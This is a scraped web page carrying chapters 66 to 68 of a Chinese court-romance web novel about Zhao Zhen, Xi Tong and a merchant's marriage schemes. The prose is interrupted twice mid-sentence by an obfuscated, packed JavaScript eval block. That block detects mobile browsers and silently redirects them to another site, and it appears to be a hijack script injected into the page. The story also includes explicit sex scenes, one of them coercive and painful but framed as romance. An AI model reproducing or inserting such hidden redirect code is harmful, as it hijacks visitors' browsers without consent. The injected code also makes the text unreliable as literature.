;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977263|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲出身不好日子过得艰难的姑娘,嫁给商贾别的不说,起码家境殷实,未必不是一条好出路。 赵臻挑眉看着沈居,点头应了。 “至于其二。”沈居盯住赵臻:“舍妹玉汝,花容月貌,蕙质兰心,草民希望她嫁与这世上最尊贵的男子。” 此言一出,大朝晖殿一片哗然,大臣们纷纷看向赵臻。 沈居这是要用自家妹妹搏一份拥立之功了,将来赵臻问鼎王座,沈玉汝便是娘娘,那可真就是飞上枝头便凤凰了,万一再生个儿子…… 啧啧啧……这沈三爷真是一把算账的好手。 沈玉汝站在一侧,含情脉脉盯着赵臻,她起初知道兄长的打算时,还十分不情愿,哭了许久。可如今见了太傅大人,一双眼睛就再也移不开了。她从不知道,这世间竟能有这样玉树临风、气度不凡的男子。 赵臻抚摸着手上的玉扳指,见高台底下的沈居姿态倨傲,似乎志在必得。 半晌过后,赵臻开口:“沈三爷是生意人,应当知道,生意场上,最忌贪婪。” 沈居不以为然:“贪婪吗?沈某曾听闻,太傅大人钟情一女子,其出身不过一介家伎。想必您也不会介意玉汝出身商贾之家吧。而且舍妹自幼读书,琴棋书画无一不通,同世家女子相比,也不过输在投胎的运气。沈某就这一个妹妹,她的婚事,沈某自当尽力,若金山银山能为她追平气运,又何尝不可?” 陆忧和林载在一旁看着侃侃而谈的沈居,有些无奈。 商人多奸,但终究不理解朝堂的规则,官场商场,不是同一套玩法。沈居自诩聪明,短短一番话,就企图以巨利引诱甚至是逼迫赵臻娶沈玉汝。可他根本不知道,爬到那座高台之上的赵臻,究竟是个什么样的人。 赵臻仍是笑着,但这笑意已经不复方才和煦:“沈三爷,你我初初相识,你尚不了解赵某。赵某很不喜欢旁人议论我的私事,尤其是内子。方才你的话,赵某权当说笑。你再换个条件吧。” 内子…… 赵臻说完在场之人都有些惊诧,不是还没成婚吗?赵臻竟已将奚瞳称作“内子”了…… 沈居察觉到赵臻眼中的冷意,但他在商场所向披靡了太久,自以为来到大朝晖殿,仍能坐庄。 “据沈某所知,太傅大人应当尚未成婚吧。如此,称那姑娘为内子,岂非不太合适?” 陆忧林载暗自为沈居捏一把汗,赵臻竖个梯子你就赶快下来,你非惹他干啥…… 赵臻见沈居坚定,也不再强求:“看来沈三爷是铁了心要为沈姑娘筹谋了。” “长兄如父,沈某自然要为妹妹打算。” “那好吧。”赵臻轻笑:“明日本官便让内廷拟旨,陛下虽年幼,但早晚都要纳妃的。既然沈三爷和沈姑娘志在进宫,赵某乐得成全。” 沈居闻言大惊,沈玉汝更是腿软。 “兄长,不要……” 沈居扶住妹妹,陛下前阵子被太傅责罚的事早就在民间传开了,这是个十足的恶童,玉汝怎么能做他的妃子?! 沈居急切看向赵臻:“太傅大人,陛下才八岁,岂可……” 赵臻满脸困惑:“不是沈三爷说,要让令妹嫁与世上最为尊贵之人吗?普天之下,最为尊贵之人,自然是陛下,沈三爷有何异议?” 这句话将沈居活活堵在了当场。 沈居此时已经反应过来,赵臻比商场之上任何敌手都要难对付。 沈居咬紧牙关,不再多说什么,他哪里敢有异议,这时候若说错了话,是要祸及家族的。 66.第 66 章 太傅府前厅,奚瞳将接连三日来求见赵臻的沈居送走,心里很有些无奈。 赵臻死活不见沈居,奚瞳出来应付他,俩人没话找话,硬聊半个时辰,真的很尴尬。 前几日赵臻从大朝晖殿回来,便称病呆在府中。 奚瞳起初还是关心的,可到了夜里,赵臻的表现实在不像是个病人,奚瞳便也明白他这是在端架子给别人看,细问了林载,才知道是那个什么萝州首富将赵臻得罪了。 赵臻在书房里看各地呈上来的笺疏,奚瞳坐到他跟前。 “听闻沈姑娘在家里,一双眼睛都要哭瞎了,你真的要让她嫁给陛下?” 赵臻抿了抿嘴:“沈居因为身家丰厚,在萝州也算话事人之一,就连萝州太守都给十分给他面子,骄纵久了,他便忘了自己是什么身份,以为大朝晖殿也是他可以撒野之地。” “所以,你这是要给他立规矩?”奚瞳挑眉:“可你用沈居,如同临渊钓鱼,线收紧了,若迟迟不将鱼拉上来,他可就要跑了。” “你倒是心善。”赵臻看着奚瞳:“你可知他在大朝晖殿说的什么话?我最讨厌旁人议论你。” 奚瞳笑了笑:“他能说什么,至多就说我出身不好,人家也没说错。” 赵臻面色郑重起来:“你怎么出身不好?你是九天的仙女,我的夫人,未来大盈的皇后。普天之下,谁的身份尊贵的过你?” 奚瞳伸手摸一摸赵臻的脸颊:“我的尊贵,沈居早晚会知道,何必急在一时。再说了,你们男子之间置气,耽误的却是沈姑娘的终身,这可不对。” 赵臻无可辩驳,一时势弱。 一片默然之中,奚瞳想起那日同林载的对话。 “小阿瞳,我有句话很是难听,但还是想说与你。你我相识日久,算是朋友,我总不会害你。” “你说。” 林载低了低眉,像是有些愧疚:“赵臻请了天机山道尊来京,认了你做义女,是为你将来执掌后宫铺路,你可明白?” 奚瞳点头:“明白。” “但后宫……”林载迟疑片刻,还是说了出来:“终究不可能只你一人。即便赵臻可以为你虚悬妃妾之位,但世家和朝臣也不会允许。帝王枕席,越是热闹,前朝才越安定。赵臻想要至高无上的权利,势必就要牺牲掉一些自由。” “所以呢?” “沈玉汝,出身商贾,倒比世家出身的贵女好拿捏一些,将来也不会对你有什么威胁。如今赵臻正值用人之际,沈家很是关键,他是个宁折不弯的倔脾气,你……” “我知道了。”奚瞳打断林载。 林载也知他这番话太过直白,便只点了头,不再作声。 奚瞳临走前顿了顿,看林载一眼:“若今日在我这位子上的,是林棠,你也会如此吗?劝她替赵臻张罗女人?” “我……”林载语塞。 “林载,我高看你了。”奚瞳最终扔下这样一句话。 …… 生气归生气,但奚瞳知道,林载所说的,其实很现实。 今日有沈玉汝,明日也会有王玉汝刘玉汝,一味回避躲闪,是没有用的。 而且这些日子,司命的那些话也一直萦绕在奚瞳的脑海里,“你还想有孩子?你做什么春秋大梦?”“你此生阳寿,不会很长”…… “赵臻。”奚瞳低声道:“那沈姑娘,长得好看吗?” 赵臻闻言有些意外地看着奚瞳:“为何这样问?” 奚瞳有些心虚,整个脑袋微微低着,手上不自觉整理着书案上的笔洗和镇纸:“我是想,其实他们兄妹中意的人本来就是你,若沈姑娘真的如沈居所说,花容月貌,才华卓然,倒是……” 奚瞳话还没说完,便被赵臻捏了下巴,他目光倏忽冷下来:“你什么意思?” “我……”奚瞳咬了咬牙:“我是想说,你若是不讨厌她,我不介意……” “你再说一遍?!”赵臻捏着奚瞳下巴的手加了力道:“你不介意?” “我……”奚瞳有了痛感。 “奚瞳,我这些天对你太过温柔了是吗?” 赵臻真的动了气,他的手由奚瞳的下巴来到她的前襟,稍一用力,奚瞳便听到布帛裂开的声音,她的外衫被赵臻撕开,只余一席薄透的里衣。 现下还是晌午,奚瞳瞧着窗外熙来攘往的下人们的忙碌身影,忍不住推拒赵臻:“赵臻,别……别在这里……” 赵臻眼睛里是盛怒的火,但还是保留了最后的理智,将奚瞳拖至了屏风后头的短榻,直将她折腾得双腿不停打颤才罢休。 奚瞳香汗淋漓躺在赵臻怀里,赵臻拿起茶盏给她喂水,奚瞳渴极了,喝了一杯又一杯。 好不容易缓过来,奚瞳再也没了力气,只依偎着赵臻,默默无言。 赵臻低头看着怀里的人,沉声说道:“这次饶了你,不准有下次。” 奚瞳心里哭嚎,你饶了我?你这算哪门子饶了我? 赵臻见她不说话,便径直问道:“沈玉汝也在大朝晖殿上的事,我不曾对你讲过,谁跟你嚼的舌根子?” “没谁……我自己打听的……” “哼。你能冲谁打听?无非就那几个,陆忧还是林载?” “你……” “这点事还要我派十三去查吗?” 奚瞳知道实在躲不过去,便瓮声瓮气答道:“林载。” 赵臻冷笑:“很好,他近来真是长本事了。” 奚瞳见赵臻还在生气,伸手环上他的腰:“林载跟你自小一道长大,今日是你的心腹,明朝是你的肱骨,他自然事事都为你考虑。” “为我考虑?为我考虑就是挑拨你我之间的关系?” 赵臻狠狠掐了一把奚瞳腰间的软肉,奚瞳当即因为痛感在他怀里缩成一团。 赵臻又怒又悲:“他犯浑也就算了。你也跟着他犯浑,替我纳妾?你当我是什么?” 奚瞳腰间的痛感渐渐消弭,她思忖一会儿,深深望着眼前满脸委屈的男人:“赵臻……若我……不能有孩子呢?” 赵臻闻言微微蹙眉,继而想起前段时间他曾问过奚瞳是不是在用避子药,于是赶紧将她拥住:“我不是说过了吗?子嗣之事我不着急,我那时那般问你,只是怕你用药伤身,你莫多想。” “赵臻,若是我永远不能有孩子呢?” 赵臻看着奚瞳,她的目光真诚而迫切,他从这个眼神里似乎看明白了什么。 “那又如何?”赵臻反倒笑了。 “可是……”这回答让奚瞳意外:“可是你是要做皇帝的人,将来……” “那又如何?”赵臻重复一遍。 “你……” “你说过,五百年前你见证过长秦的灭亡,如今高家的江山眼见也要断送在我手里。所以儿孙满堂,难道就能保国祚永昌?赵家十年前九族灭尽,我苟活至今,已是侥幸。我要做皇帝,是因为江山破败,百姓流离,需要一个有能力的人前来破局。我扪心自问,我可以,所以我来了。我毕生所求,是收拾旧山河,与你共白头。至于我百年之后如何,那便不是我操心的事了,若我无子孙,新的时势之下,自有新的英雄,择贤而立便是了。” 赵臻的话让奚瞳感到震撼,她没有见过这样的男子。 她所见过的男子,无论勋贵还是寒门,无一例外都对香火的延续抱有极端的热忱。 但赵臻,竟…… 赵臻看到奚瞳眼里的讶然,不禁失笑。 他低头吻上她的唇,奚瞳在这个长吻之中感受到从未有过的温暖,如置云端,通体舒畅,甚 至胜过方才那般激烈而极致的欢好。 许久过后,赵臻吻够了,才将她轻轻放倒,为她盖了被子。 “方才累着你了,你睡一会儿,晚上想吃什么让小厨房给你做,我今日要晚些回来。” “你有事?” 赵臻唇角的弧度变得锐利:“嗯。有事。你方才说得对,深渊里那条大鱼要是再不网上来,怕是要跑了,沈居的事,我去处理一下。” 奚瞳点了头。 …… 书房那一番恩爱,的确让奚瞳疲惫,她这一睡,就直接睡到了第二日。 次日清晨,她刚出内室,便见到紫虚已经给她备好了红薯粥和小咸菜。 “姐姐醒了?来吃点粥。”紫虚招呼。 奚瞳坐下,将一勺沾了米浆的地瓜送到自己口中,又糯又甜,她忍不住夸赞:“紫虚, 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陆忧哼一声,但也不恼,反倒心情不错:“今儿个出了桩事,有趣得很,我朋友不多,但又实在想找人分享,便想到周姑娘了。” “哦?何事这么有意思?” “林载劝奚瞳,让她出面劝赵臻纳了沈玉汝,结果昨儿个赵臻从家里出来,提着他那登天剑就杀到了禁军营,说许久不跟林统领切磋了,今天来领教领教。” 周韵仪闻言眼睛也亮起了光:“哇,林载胆子挺大啊,结果呢?” 陆忧难得笑出了声:“林载后脑勺让登天剑剃秃了一片,屁股上腰上好几片淤青,都是鞋底的形状,是让赵臻硬生生踹出来的。” 周韵仪听到这里也是忍俊不禁,两人笑了许久,周韵仪感叹道:“赵臻运气好,遇到奚瞳那么好的姑娘。奚瞳运气也不差,赵臻是值得托付的人。” 陆忧看着周韵仪,她一派笑靥,但双眸却有些失神地盯着泥炉,似是羡慕。 “周……” “对了。”周韵仪想起了今天周家给她的手书:“沈玉汝的事,最终怎么定的?” 陆忧倏忽被打断,便也正经起来:“赵臻说,会给她在朝中找一个合适的才俊。” “怪不得。今日我家人来信,周演还动了沈玉汝的心思,想让我给你吹枕边风呢。”周韵仪没好气:“我那大哥都十好几房妾室了,人家沈家好歹是大盈巨富,手里只金矿都有三个,这样的身家背景去给他做排不上号的姨娘,亏他敢想。” 陆忧不便跟着她一道骂周家人,便安静饮酒。 周韵仪歪着头思忖,突然福至心灵,看向陆忧:“诶。我倒觉得,你可以动一动沈玉汝的心思。” 陆忧心中一沉,继而蹙眉:“你说什么?” “你想啊,赵臻为了鼓励商贾纳税,肯定会重用沈家,于你来说,财帛也好,将来沈家的地位也好,都能在官场上给你助力。而对沈家来说,虽也是为妾,但你跟周演可是天壤之别,你为人清正,不是好色之徒,沈玉汝嫁过来,你定然会善待她,另外只要她不生事,我也不会找她的麻烦。而且你是赵臻的心腹,跟你联姻同直接跟赵臻联姻也差不了多少。岂不是两全其美?” “周韵仪,你当真这么想?!” 陆忧将酒盏狠狠顿在石桌上,吓了周韵仪一跳。 “你发什么脾气,我这不是为你打算吗?”周韵仪觉得陆忧真是喜怒无常,蓦地又想起什么:“你不会还没对奚瞳死心吧……” “你!” 陆忧愤而起身,甩开袖子就往外走,可走了几步,蓦地又停住了。 周韵仪看他这样,心里不免感叹,这陆忧的脾气真是越来越古怪,之前他受了鞭刑,还能说他是身体不好连累心情,可如今他伤也好了,怎么还这么爱生气。 周韵仪还在纳闷,突然觉得脚下一空,竟是陆忧折返回来,将她整个人都抱起来。 “你做什么?干嘛抱我?!” 陆忧黑着一张脸:“周韵仪,你也该学学,什么是妻子的义务。” “什……什么意思?” “我不是好色之徒?这世上就没有男人不好色。我今日就让你知道知道,我是不是好色之徒。” 67.第 67 章 沈玉汝的婚事很快就定了下来,自告奋勇要娶她的,是伤愈之后的林载。 “我对男女之情没什么兴趣,娶谁都是娶。” 林载说这话的时候吊儿郎当,但这可气死了他老爹林泉。 林泉不曾纳妾,他这辈子和夫人萧氏就林载和林棠这一双儿女。作为儿郎,林载肩负着振兴林家的重担,林泉对他的期望不言而喻。林载都三十岁了还未成亲,就是因为朝堂未定,林泉还没找到特别中意的儿媳。 结果这小子倒好,自己去跟赵臻求娶沈玉汝。一个商户之女,怎能配得起他儿子。 于是林载屁股上赵臻的鞋底印刚消,他老爹的又踹了上来。 但无论如何,这门婚事算是定下了,林载君子一言,林家驷马难追。 不过出乎赵臻预料的是,沈居的娶妻人选迟迟没有着落。 京中适龄的姑娘不少,但她们家中族老盯着的都是赵臻的后宫。哪怕不能攀上赵臻,赵臻的心腹臣下也不错。再不济,今年京中举办了科考,金榜题名那几位可都是未来朝堂的潜力股,比起暴发户沈居,他们自然更愿意自家的女儿嫁给这样的郎君。 这桩婚事悬而不决得太久,乃至沈居虽然同意了多缴税银,但对于赵臻的另一项提议——由朝廷派人参与金矿玉矿的开采和定价一事,沈居迟迟不肯点头。 就这样拖完了冬天拖春天,拖完了春天拖夏天,直到新一年的中秋夜宴,这桩事终于出现了转机。 夜宴之上,林棠献上一段剑舞,而后便跪在陛下和赵臻座前,说希望他们为她赐婚,她愿意嫁与沈居。 林泉见女儿这般行事,气得当场背过气去,萧氏赶紧上前想要拉住女儿。 可林棠似乎是铁了心,一双膝盖像是生了钉子,扎在寒酥台上,任谁拖拉都不起来。 萧氏急得泪流满面,走到赵臻跟前:“玄度,棠棠这是钻了牛角尖了,你劝劝她,看在她自幼倾慕你的份儿上,你劝劝她啊,萝州是偏远贫瘠之地,沈家宗亲又极多,门阀复杂,我和你林世伯就这一个女儿,她不行的呀,不行呀……” 赵臻盯着面前他视若妹妹的女子:“林棠,宫城重地,陛下跟前,休得胡闹,你退下!” 林棠倔强地仰起头,双眸噙着泪:“我不要!我……” 一直在席间默不作声的沈居此时瞅准时机走了上来,跪在了林棠身边:“太傅大人,方才草民见林姑娘舞剑,英姿飒爽,风姿卓然,草民心生倾慕,林姑娘此番请求赐婚,草民受宠若惊、不胜欢喜,草民愿意与林姑娘相守一生,还望太傅大人恩准!” “你!你你你!”萧氏气得指着沈居的鼻子骂:“你这贱民!也敢肖想我的女儿!你是什么东西?!” 赵臻还未来得及说什么,坐在他身边的高澜轻笑一声:“林夫人慎言,沈三爷此次进京,为朝廷捐银百万两,是名副其实的义商。有了这笔银钱,农人们便不必为赋税发愁,边境的将士们也不必再忧心粮草。如此仁义之举,岂容林夫人这般侮辱。我倒觉得,这桩婚事,合称得很。林家是百年世家,沈家是我朝新贵,怎么不算是一段良缘呢?” “我……你……”萧氏被高澜这段话堵得没辙,可她怎么甘心女儿嫁去萝州。 她环顾整个寒酥台,最终目光回到了赵臻这里,只是这次她看的不是赵臻,而是站在赵臻身边的奚瞳。 她朝奚瞳跪下去,一把握住奚瞳的手,哭着哀求到:“贵人,你劝劝太傅大人好不好。棠棠真的不能嫁,求求你了贵人。” 萧氏的这番举动无疑将奚瞳架了起来,大家心里对奚瞳的身份虽都有数,但她到底还没跟赵臻成婚,名义上仍是赵臻的门客。 萧氏放着陛下不求、太后不求,而是求她这个赵臻的身边人,这显然是不合礼法的,若有人存心计较,林家和赵臻都会因为萧氏的这个举动冠上大逆之名,从而招致祸患。 果不其然,奚瞳看着坐在席间的周党,已经是蓄势待发的模样。 周正冷笑一声:“呵,我竟不知,区区一个太傅府的伎子,居然当上了皇宫里的主子。贵人?萧氏,你和林泉是老眼昏花,识人不明,还是包藏不臣之心啊?” 萧氏闻言一怔,眼泪也不再流,取而代之的是惶恐无措。 奚瞳搀着萧氏入座,继而对周正纳了福:“周大人多虑了,我虽是太傅府门客,但半年前,得天机山道宗白鹭山人垂爱,将我认作义女,因着这层身份的加持,夫人不知如何称呼我合适,才叫我一声贵人,以示对我义父的尊重。” 周正怒斥:“小娼妇,以为有天机山给你做靠山,便可在我面前放肆吗?” “娼妇?”奚瞳的脸色也冷下来:“何为娼妇?出卖身体换取利益之人,是为娼妇。我离这称呼尚远,倒是周大人府上,为娼者甚多。” “贱人!谁给你的胆子辱我周家?!”周演冲上来,抬手想要扇奚瞳耳光,可下一刻,他便因剧痛尖叫出声。 “啊啊啊啊!手!我的手!” 奚瞳看过去,才发现一根筷子扎穿了周演的手掌。 “演儿!”周正赶忙查看儿子的伤势。 众人朝赵臻望去,他抬起的手还未放下。 赵臻轻笑一声,微微外头看着周正,满是挑衅:“若赵某……就是要奚瞳,在这宫城里做你们的贵人呢?” “赵臻!你果真想要谋反!”周正目眦欲裂,越阳王也在一旁帮腔。 赵臻脸上笑意凛冽,他没有反驳,只是走到小皇帝身边,将其抱了起来,他自己坐到了御座上,而高澈则被他放至膝头。 “陛下,您外祖说我谋反,您也这样觉得吗?”赵臻的声音和煦,但却透着无尽的冷。 自从周麟那桩事后,高澈只要做错了事,就会被赵臻责罚,有时是抄书,有时是跪佛堂,有时是打手板。 他真的怕了,他小心翼翼抓住赵臻的广袖:“亚父在说什么,澈儿不懂,澈儿最乖了,会好好读书,好好听亚父的话。” 高澈童真的声音甫一落下,众人汗毛尽皆竖起。 这是真正的挟天子以令诸侯,赵臻不再如既往一样,在是否谋反这个议题上与周党争辩。因为在合适的时间里,权力会做出选择,它会自行流入到一双能够驱使它的手掌里。 如今眼前的这一幕,便是权力明晃晃的流向。 高澜握着酒杯的手指节泛白,周正更是因为愤怒而周身颤抖。 奚瞳却在灯影里与周潮对视,很快,周潮含笑对她点了点头。 方才赵臻的举动,在朝臣眼里,或许只是狼子野心的具象化,但奚瞳却看到了这片野望背后推波助澜的暗潮。 高澈近来有些瘦弱,身量不像是一个快要九岁的孩子,而且自打入了宴席,他便看上去目光迟滞,神情恹恹。 奚瞳知道,半山骨已经在这具幼小的身体里纵横驰骋,彻底将他吞噬,不过是时间问题。 而在这不确切的弥留时光里,高澈邪恶的灵魂似乎被毒性压制,那羸弱而温顺的孩童模样重新显现出来。乃至于他和赵臻的互动如此诡异——高澈全然像是赵臻掌中的一具傀儡木偶。 夺权的戏码演了十数年,赵臻此刻,俨然已经是绝对的主角。 “亚父,澈儿困了,想睡觉。”高澈对赵臻说道。 “好,陛下睡吧。今日林棠所请,待陛下休整好了再议。”赵臻现下的神情,竟真的慈悲如一个父亲。 夜宴散去,赵臻将小皇帝抱回寝殿,奚瞳则在寒酥台等他,她走向依旧跪在那里的女子。 “林棠,你好生糊涂。” 奚瞳伸手扶她,林棠却一把甩开,奚瞳一个踉跄,跌入一个怀里,她抬头,是高澜。 林棠兀自起身,见二人如此亲密之举,义愤填膺:“兄长怎么会喜欢你这种水性杨花的女人。” “棠棠!”林载也走过来:“胡说什么?!” “我说错了吗?她一边勾引兄长,一边又与昭阳王纠缠。听闻上次太后罚她,也是昭阳王将她带走,去了王府。她这样两头下注,无非就是想要攀附权贵,你们这都看不出来?你们都是瞎的吗?”林棠委屈极了,眼泪的泪簌簌落下。 “林棠!”林载也没了好脾气:“爹娘和我平日里太惯着你了是吧!” “惯我?惯我就是将我送出京城五年,若不是我离京许久,兄长怎么会被这女人迷惑?!我……啊!” 林棠还在抻着脖子同林载争吵,就被奚瞳狠狠弹了一个脑瓜崩。 “你做什么?!”林棠吃痛,摸着自己的额头:“你有病啊!” “你才有病。”奚瞳不给面子:“我招你惹你了,呀站在这儿听你无端骂我?” 高澜和林载没想到奚瞳能动手,一时有些没了章法。 趁着林棠还没缓过来,来不及还手,奚瞳赶紧说道:“林棠,你仔细想想,赵臻是别人想要攀附就能攀附上的吗?你容貌家世都在我之上,与赵臻相识更是远早于我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009428|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你攀了他这许多年,可有成效?” “你嘲笑我!”林棠更生气了。 奚瞳无语:“我嘲笑你个头!我是让你动脑子!” 林棠虽是嘴犟,但奚瞳的话,她听进去了,她不服气的努着嘴,却不曾再强辩什么。 奚瞳见她冷静下来,便温声说道:“赵臻和林载将你送出京城的时候,我虽与他们尚未相识,但大致也能猜到为什么。” 林棠闻言,抬头看向奚瞳。 “彼时赵臻身负灭族之仇,在京中步步为营,你们林家帮他护他,却也冒着阖家断送的风险。你爹娘就你这一个女儿,将你送走,是为了保你平安。另外,赵臻应也是想让你去见见天地,所见广阔了,便能从对他的执念里走出来。” “可我……我走不出来……”林棠低头,豆大的一滴泪从眼眶里掉下来。 奚瞳抬手,替她擦拭:“林棠,你静下心来好好想想,你其实很幸运。同样是世家的女儿,你看看周怀淑周韵仪待字闺中时过的是什么日子?全然是周正争权夺利的工具。你说你要嫁给沈居,若单从利益考量,其实对林家大有助益。沈家富庶非常,又是赵臻看中的人,沈玉汝跟你哥哥婚事已经定了,你再嫁过去便是亲上加亲。两家从此盘根错节成为一股势力,沈家只会全心全意助你哥哥纵横官场。可你看看你爹娘你哥哥,听了你请旨赐婚之后,他们可有半分喜色?他们想的全都是他们如珠如宝养大的姑娘,怎么可以嫁给一个没读过书、跟她聊不来、还住在鸟不拉屎鸡不生蛋之地的臭奸商?他们心里只有你的幸福。” 林棠听着奚瞳说话,眼泪止不住地掉,已经抽噎起来,林载将她揽在怀里。 奚瞳拉一拉林棠的手:“林棠,好好呆在京中,自有赵臻和林载为你择婿掌眼,一定是配得上你的儿郎。莫要为了一段没有结果的痴心,葬送你的余生。” 林棠点着头,可嘴还是硬:“我再考虑考虑。” 林家人走后,整个寒酥台只剩下奚瞳和高澜。 高澜笑言:“你同林棠那样推心置腹,也不避讳我。” 奚瞳嘴角弯起一个弧度:“玄度坦荡至斯,我又有何惧。” 高澜的笑容里染上苦涩:“你曾说过,他做佞臣,你为妖女,看来时至今日,这话还是作数。” 奚瞳垂眸微笑,没说什么。 “当时赵臻拒绝沈玉汝后,王府里许多幕僚劝我,让我迎娶沈玉汝为妃,这样可以争取商贾的力量,从而牵制赵臻。” 奚瞳稍作思忖,点了点头:“确实。那王爷为何不曾采纳这些谏言?” “因为新政。”高澜的目光变得深邃:“我和赵臻虽为政敌,但我知道,他的新政条条都是为了大盈和百姓。我若为了权力之争抛下臣民,便枉为皇族。” 奚瞳这才抬头,好好看着高澜,这是一张同云序一模一样的脸,但却少了云序身为乐师的温柔妩媚,多了几分磊落阳刚之气。 “另外……”高澜也看向奚瞳:“我心有所属,容不下别人。” 奚瞳在这场对视里率先心虚,低下了头。 高澜没有强求,但倏忽问了一个问题:“奚瞳,我们……之前在哪里见过吗?” 奚瞳的双目浮上警惕。 “我近来……”高澜本想解释,他近来常常梦到她,但看到奚瞳眸子里的抵触,他便偃旗息鼓:“算了。” 奚瞳远远看到赵臻走了过来,便俯身给高澜纳了个福,算是告别。 “奚瞳,你我好歹有过同抚一琴的微薄情谊,将来若我死了,你会难过吗?哪怕一瞬。” 奚瞳看向高澜,昔年长秦王宫里,那些相知相伴的时光又一幕幕重现在她脑海。 云序断手之后,郁郁寡欢,蜗居在公主殿的厢房里,不愿见人。 长秦王都城破那日,他才终于走到了她的跟前,企图用他断掉的残肢拉着她逃出王宫。 她挣脱了他:“我是长秦的公主,云序,我走不了了。” 这是他们二人最后的对话。 她死后尸体被吊在城门口的旗杆上,作为亡国之君的女儿,任百姓鞭打泄愤。 赵臻彼时正在遭受凌迟之刑,同样命不久矣。 最终替她收尸的,是一个断了手的青年。 回忆至此,奚瞳看向高澜:“我不想你死。” 高澜的双目闪过意外,更有隐晦的喜色。 “高澜,我希望你活着。无病无灾,长命百岁。” 68.第 68 章 高澜还在为奚瞳的话怔忪,赵臻已经走到了她的身边。 “在聊什么?”赵臻不复席间锋芒,看向奚瞳的神情很是温柔。 高澜在一旁瞧着,心中生出一丝微妙之感,之前赵臻去昭阳王府找奚瞳时,尚存一些醋意带来的狠戾野性,可今日,他已全然是一副从容样貌了。 这让高澜觉得有些冒犯,在情场之上,赵臻已经不再把他当做对手,就如同在朝堂之上,他也已经不把任何人放在眼里。 奚瞳笑一笑:“闲聊而已。” “闲聊?”赵臻挑眉,有些打趣奚瞳的意思,他不将高澜当回事,不代表他不在乎奚瞳与别的男子说些什么。 奚瞳无奈,道一句:“我只是在想,若非命运捉弄,你们二人萍水相逢,说不定会成为很好的朋友。” 赵臻闻言,有些意味深长地看向高澜,高澜亦回视,两人什么都没有说,但似乎都在对方眼睛里找到了认可这句结论的讯息。 今夜没有野心家和旧皇族,没有政敌和情敌,只有前世今生因缘际会,未能来得及好好看一看对方的老相识。 他们是长秦的枢密使赵臻和乐师云序,也是大盈的太傅赵臻和昭阳王高澜。 赵臻拍上高澜的肩膀:“接下来的日子会很艰难,于你于我都是。方才见你饮了不少酒,早些回府休息吧。” 赵臻这句叮嘱十分亲热,仿似与高澜已经是多年的知己。他们二人之间从未有过这样亲密的时刻,但高澜并不觉得突兀。 乱世之中,他们都是对彼此伸出过手的人,这份情谊,已经不无须再用相处的时辰来成就。 这时刻堪称温情,可高澜还是忍不住打破:“赵臻,来日一战,若你赢了,能否留高澈一条性命,他还小……” 赵臻的神情少了三分温和,多了一些坚毅,默然良久,终是叹了一口气:“我没法答应你。” 高澜垂首,沉吟片刻,道一句:“好。我知道了。” 赵臻释怀一笑:“走啦。” 说罢便牵起奚瞳的手,朝宫外走去。 高澜望着二人的背影,渐渐看入了神。 皓皓月华,幽幽桂影,相携而去的两人像极了红尘之中一对极为恩爱的寻常夫妇。看不出男子脊背上从横交错的刀光剑影,也看不出女子曾经低眉在偏地世家中为伎。他们一样的挺拔,一样的潇洒。仿佛从天地初开起,他们就是最为相配的一对。 高澜终于知道他心中的微妙之感是什么了,是他不愿承认的嫉妒。 从他记事以来,他和赵臻便被世人放在一起谈论。年少岁月里,他们是一时双璧;后来赵家灭族,他被放逐又重回京师,他们又成了乱世双雄。 但无论何时,高澜总是更受人追捧的那一个。 年少时他和赵臻一个是皇子,一个是世家子弟,他赢在身份的尊贵。 后来,他是贤王,赵臻是满手鲜血的枭雄,他赢在道德的高洁。 甚至当年他出手帮助赵臻的母亲和妹妹逃亡,如今回想,除了跟赵臻惺惺相惜之外,也不可避免掺杂了一些高高在上的优越感。 可如今,赵臻目之所及,是高广的苍穹,无垠的山河,数以万万计的百姓,还有奚瞳——那个他所爱的,又如此爱他的女子。 那是独属于上位者的俾睨,也是一种在久未现世的帝王雄姿。 高澜倏尔便明白了,时运已经不容逆转,而在在赵臻和奚瞳心里,高澜不可避免的成为了一粒尘埃。 那曾经在漫长岁月里,同赵臻并肩立世界的昭阳王;那曾经在皎皎月色下,对奚瞳一眼万年的男子……在他们眼里,同天地民心、同他们彼此相比,不过就是一粒遮不住望眼的尘埃。 “王爷,宫中还有事情未了?咱们不回王府吗?”侍从李斧打断了高澜的思绪。 “输了。”高澜缓缓说了两个字。 “什么?”李斧丈二和尚摸不着头脑。 高澜苦笑:“没什么。我可能再也听不到古曲《登临》了。” “啊?” …… 这一夜好月色,对昭阳王来说算不得柔情。但对奚瞳来说,却柔情得太过。 太傅府内室的窗户开着,她看着窗外的繁星与夜色,背后靠着的是赵臻炽热的胸膛。 此刻赵臻从背后拥抱着她,两人身上唯一的遮蔽之物,便是外头裹着的这一层薄衾。 奚瞳喘息着,感受着赵臻的力量带给她的战栗的余韵。若不是此刻靠他的手臂支撑,她怕是早就瘫软在地。 床笫之间厮磨得多了,赵臻愈发知道如何拿捏她,可她却拿他没什么办法。 她也不是什么不开窍的人,怎么就找不到这人的薄弱之处呢,她从小到大都争强好胜,在这件事上败得如此彻底,她真是不甘心。 而且今天他……他他他……他还用唇舌!让她毫无招架之力……以前每次都丢盔卸甲,今天更是一败涂地。 啊啊啊啊啊!烦死了! 